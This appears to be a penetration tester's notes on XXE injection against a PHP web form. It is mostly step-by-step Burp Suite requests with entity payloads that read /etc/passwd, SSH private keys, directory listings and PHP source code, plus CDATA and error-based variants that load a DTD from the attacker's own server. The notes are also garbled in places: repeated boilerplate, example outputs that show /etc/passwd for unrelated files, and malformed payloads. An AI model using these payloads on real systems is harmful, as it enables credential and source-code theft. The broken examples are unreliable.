INFORMATION DISCLOSURE
External XML Entities uses the "SYSTEM" and "PUBLIC" keyword with the external reference path after it such as "file:///path/path"
READING SENSITIVE FILES: /ETC/PASSWD
#once the internal XML entities are validated - use external file entities keyword to test for local file disclosure
#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
input field: 127.0.0.1
...
* submit the expected user input
BURP > Proxy > Intercept > Raw
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
* forms that appears to be sending user input data in an XML format can be tested for potential XXE vulnerability
- the target page may be vulnerable to XXE injection if the user input isn't properly sanitized or safely parsed
#identify which elements are being displayed IOT know which elements to injext malicious xml input
#if no elements are displayed, utilize blind xxe injection method
BURP > Repeater
Request
...
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
Response
...
HTTP/1.1 200 OK
check your email email@email.com for verification...
* the email field is reflected in the response and may be vulnerable to xxe injection
#perform test & exploit xxe vulnerability to read local files on the back-end server
#other posibilities: id_rsa ssh key disclosure
#in certain Java webapps, attackers may be able to specify a directory instead of a file to get a directory listing instead
BURP > Repeater
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
<root>
<name>First</name>
<tel></tel>
<email>&company;</email>
<message>This is a test email</message>
</root>
* if there is an xxe vulnerability, the XML entity named 'company' which is referenced by &company;
should be replaced with the value defined (/etc/passwd)
Response
...
HTTP/1.1 200 OK
check your email testCompany for verification...
root:x:0:0:root:/root:/bin/bash
...
* if the HTTP response displayed the xxe reference element "&company;"
instead of the raw value "/etc/passwd contents" then the webapp isn't vulnerable
to XXE Injection.
* if the XML input in the HTTP request had no DTD being declared within the XML data itself, or being referenced externally,
DTD should be added before defining an entity; if the DOCTYPE is already declared in the XML request,
only the ENTITY element is required
READING SENSITIVE FILES: ~/.SSH/ID_RSA
#once the internal XML entities are validated - use external file entities keyword to test for local file disclosure
#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
input field: 127.0.0.1
...
* submit the expected user input
BURP > Proxy > Intercept > Raw
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
* forms that appears to be sending user input data in an XML format can be tested for potential XXE vulnerability
- the target page may be vulnerable to XXE injection if the user input isn't properly sanitized or safely parsed
#identify which elements are being displayed IOT know which elements to injext malicious xml input
#if no elements are displayed, utilize blind xxe injection method
BURP > Repeater
Request
...
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
Response
...
HTTP/1.1 200 OK
check your email email@email.com for verification...
* the email field is reflected in the response and may be vulnerable to xxe injection
#perform test & exploit xxe vulnerability to read local files on the back-end server
#other posibilities: id_rsa ssh key disclosure
#in certain Java webapps, attackers may be able to specify a directory instead of a file to get a directory listing instead
BURP > Repeater
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY privateKey SYSTEM "file:///home/{username}/.ssh/id_rsa">
]>
<root>
<name>First</name>
<tel></tel>
<email>&privateKey;</email>
<message>This is a test email</message>
</root>
* if there is an xxe vulnerability, the XML entity named 'privatekey' which is referenced by &privateKey;
should be replaced with the value defined (.ssh/id_rsa)
Response
...
HTTP/1.1 200 OK
check your email testCompany for verification...
root:x:0:0:root:/root:/bin/bash
...
* if the HTTP response displayed the xxe reference element "&privateKey;"
instead of the raw value "~/.ssh/id_rsa contents" then the webapp isn't vulnerable
to XXE Injection.
* if the XML input in the HTTP request had no DTD being declared within the XML data itself, or being referenced externally,
DTD should be added before defining an entity; if the DOCTYPE is already declared in the XML request,
only the ENTITY element is required
READING SENSITIVE FILES: DIRECTORY LISTING
#once the internal XML entities are validated - use external file entities keyword to test for local file disclosure
#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
input field: 127.0.0.1
...
* submit the expected user input
BURP > Proxy > Intercept > Raw
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
* forms that appears to be sending user input data in an XML format can be tested for potential XXE vulnerability
- the target page may be vulnerable to XXE injection if the user input isn't properly sanitized or safely parsed
#identify which elements are being displayed IOT know which elements to injext malicious xml input
#if no elements are displayed, utilize blind xxe injection method
BURP > Repeater
Request
...
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
Response
...
HTTP/1.1 200 OK
check your email email@email.com for verification...
* the email field is reflected in the response and may be vulnerable to xxe injection
#perform test & exploit xxe vulnerability to read local files on the back-end server
#other posibilities: id_rsa ssh key disclosure
#in certain Java webapps, attackers may be able to specify a directory instead of a file to get a directory listing instead
BURP > Repeater
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY dirListing SYSTEM "file:///home/">
]>
<root>
<name>First</name>
<tel></tel>
<email>&dirListing;</email>
<message>This is a test email</message>
</root>
* if there is an xxe vulnerability, the XML entity named 'dirListing' which is referenced by &dirListing;
should be replaced with the value defined (/home)
Response
...
HTTP/1.1 200 OK
check your email testCompany for verification...
root:x:0:0:root:/root:/bin/bash
...
* In certain Java web applications, we may also be able to specify a directory instead of a file, and we will get a directory listing instead, which can be useful for locating sensitive files.
* if the HTTP response displayed the xxe reference element "&dirListing;"
instead of the raw value "/home/ contents" then the webapp isn't vulnerable
to XXE Injection.
* if the XML input in the HTTP request had no DTD being declared within the XML data itself, or being referenced externally,
DTD should be added before defining an entity; if the DOCTYPE is already declared in the XML request,
only the ENTITY element is required
READING SOURCE CODE
the ability to obtain the webapp source code would allow the attacker to perform a Whitebox penetration test to unveil more vulnerabilities in the webapp or reveal secret configurations such as DB passwords or API keys. when reading source code, everything must conform to the XML format else no output will be displayed. characters that breaks the XML format are "</>/&". additionally, binary data can't be read as it doesn't conform to the XML format. IOT read source code data that contains characters that may break XML format, use a PHP wrapper filter to encode the PHP source file.
PHP wrapper filters are used to encode PHP source files, such that they would not break the XML format when referenced
#once the internal XML entities are validated - use external file entities keyword to test for local file disclosure
#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
input field: 127.0.0.1
...
* submit the expected user input
BURP > Proxy > Intercept > Raw
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
* forms that appears to be sending user input data in an XML format can be tested for potential XXE vulnerability
- the target page may be vulnerable to XXE injection if the user input isn't properly sanitized or safely parsed
#identify which elements are being displayed IOT know which elements to injext malicious xml input
#if no elements are displayed, utilize blind xxe injection method
BURP > Repeater
Request
...
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
Response
...
HTTP/1.1 200 OK
check your email email@email.com for verification...
* the email field is reflected in the response and may be vulnerable to xxe injection
#perform test & exploit xxe vulnerability to read local files on the back-end server
#other posibilities: id_rsa ssh key disclosure
#in certain Java webapps, attackers may be able to specify a directory instead of a file to get a directory listing instead
BURP > Repeater
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY srcCode SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
<name>First</name>
<tel></tel>
<email>&srcCode;</email>
<message>This is a test email</message>
</root>
* if there is an xxe vulnerability, the XML entity named 'srcCode' which is referenced by &srcCode;
should be replaced with the value defined (index.php)
Response
...
HTTP/1.1 200 OK
check your email testCompany for verification...
PCFET0NUWVBFIGh....
- this is a base64 encoded string and MUST be decoded
...
* This trick only works with PHP web applications
* if the HTTP response displayed the xxe reference element "&srcCode;"
instead of the raw value "index.php contents" then the webapp isn't vulnerable
to XXE Injection.
* if the XML input in the HTTP request had no DTD being declared within the XML data itself, or being referenced externally,
DTD should be added before defining an entity; if the DOCTYPE is already declared in the XML request,
only the ENTITY element is required
root@oco:~$ echo -n "{base64 encoded string}" | base64 -d
* ALT: https://cyberchef.io/
input: {base64 encoded string}
Recipe: From Base64
output: ...index.php source code
* ALT: BURP > {right-click the base64 encoded string} > Send to Burp Inspector
READING SOURCE CODE: ADVANCED FILE DISCLOSURE
another method to extract any kind of data to include binary data that does not conform to the XML format for any web application backend is to wrap the content of the external file reference with a CDATA tag <![CDATA[ FILE_CONTENT ]]>. when this is used, the XML parser would consider this part raw data, which may contain any type of data, including any special characters.
#once the internal XML entities are validated - use external file entities keyword to test for local file disclosure
#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
input field: 127.0.0.1
...
* submit the expected user input
BURP > Proxy > Intercept > Raw
Request
...
POST /submitDetails.php HTTP/1.1
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
* forms that appears to be sending user input data in an XML format can be tested for potential XXE vulnerability
- the target page may be vulnerable to XXE injection if the user input isn't properly sanitized or safely parsed
#identify which elements are being displayed IOT know which elements to injext malicious xml input
#if no elements are displayed, utilize blind xxe injection method
BURP > Repeater
Request
...
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>First</name>
<tel></tel>
<email>email@email.com</email>
<message>This is a test email</message>
</root>
Response
...
HTTP/1.1 200 OK
check your email email@email.com for verification...
* the email field is reflected in the response and may be vulnerable to xxe injection
#basic format for XXE that contains both internal entity and external entity
# since XML prevents joining internal and external entities, the attacker
# can utilize XML Parameter Entities which is a special type of entity that
# starts with a % character and can only be used within the DTD.
<!DOCTYPE email [
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
]>
#joining internal & external entity with XML Parameter entities
#the XML parameter entities % can only be used within the DTD
root@oco:~$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
* this external entity file (xxe.dtd) MUST be references from an external source such as the attacker's OWKS IOT to be joined with the internal entities
- aftward, all of them would be considered as external and can be joined
root@oco:~$ python3 -m http.server 8000
BURP > Repeater
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://{OUR_IP:8000}/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>
<root>
<name>First</name>
<tel></tel>
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
<message>This is a test email</message>
</root>
* the 'begin' keyword is defined first to indicate an internal entity with <![CDATA[,
the 'end' keyword terminates the internal entity with ]]>
the external entity 'file' keyword is then placed in between such as 'file:///var/www/html/submitDetails.php'
this should then be considered as a CDATA element.
* In some modern web servers, we may not be able to read some files (like index.php), as the web server would be preventing a DOS attack caused by file/entity self-reference (i.e., XML entity reference loop)
READING SOURCE CODE: ERROR-BASED XXE
this method can be used to read any type of file including source files; however, it is not as realible as the Advanced File Disclosure method. to do so, simply change the file name in the DTD script to point to the file to be read e.g., file:///var/www/html/submitDetails.php
#perform test
BURP > Repeater
Request
...
POST /submitDetails.php HTTP/1.1
Accept: application/json //test this one if this need to be changed
Content-Type: application/xml //changed the Content-Type: application/json to application/xml
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<name>First</name>
<tel></tel>
<email>&nonExistingEntity;</email>
<message>This is a test email</message>
</root>
Response
...
HTTP/1.1 200 OK
<b>Warning</b>
: DOMDocument::loadXML(): Entity 'nonExistingEntity' not defined in Entity, line: 5 in...
* if the web application displays an error, it may reveal the web server directory, which can be used to read the source code of other files
* ALT: delete any of the closing tag so, it does not close (e.g. <roo> instead of <root>
#perform basic discovery - if nothing is reflected, then switch to error-based discovery
#joining internal & external entity with XML Parameter entities
#the XML parameter entities % can only be used within the DTD
root@oco:~$ nano xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
* payload defines the file parameter entity and then joins it with an entity that does not exist
- the web application would throw an error that states.. this entity does not exist, along with our joined %file; as part of the error
* this external entity file (xxe.dtd) MUST be references from an external source such as the attacker's OWKS IOT to be joined with the internal entities
- aftward, all of them would be considered as external and can be joined
root@oco:~$ python3 -m http.server 8000
BURP > Repeater
<?xml version="1.0" encoding="UTF-8"?>
<<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://}OUR_IP:8000}/xxe.dtd">
%remote;
%error;
]>
...
<root>
<name>First</name>
<tel></tel>
<email>&joined;</email>
<message>This is a test email</message>
</root>
* there is no need to include any other XML data such as <root>...</root>; it is optional at this point
* the 'begin' keyword is defined first to indicate an internal entity with <![CDATA[,
the 'end' keyword terminates the internal entity with ]]>
the external entity 'file' keyword is then placed in between such as 'file:///var/www/html/submitDetails.php'
this should then be considered as a CDATA element.
* In some modern web servers, we may not be able to read some files (like index.php), as the web server would be preventing a DOS attack caused by file/entity self-reference (i.e., XML entity reference loop)
Last updated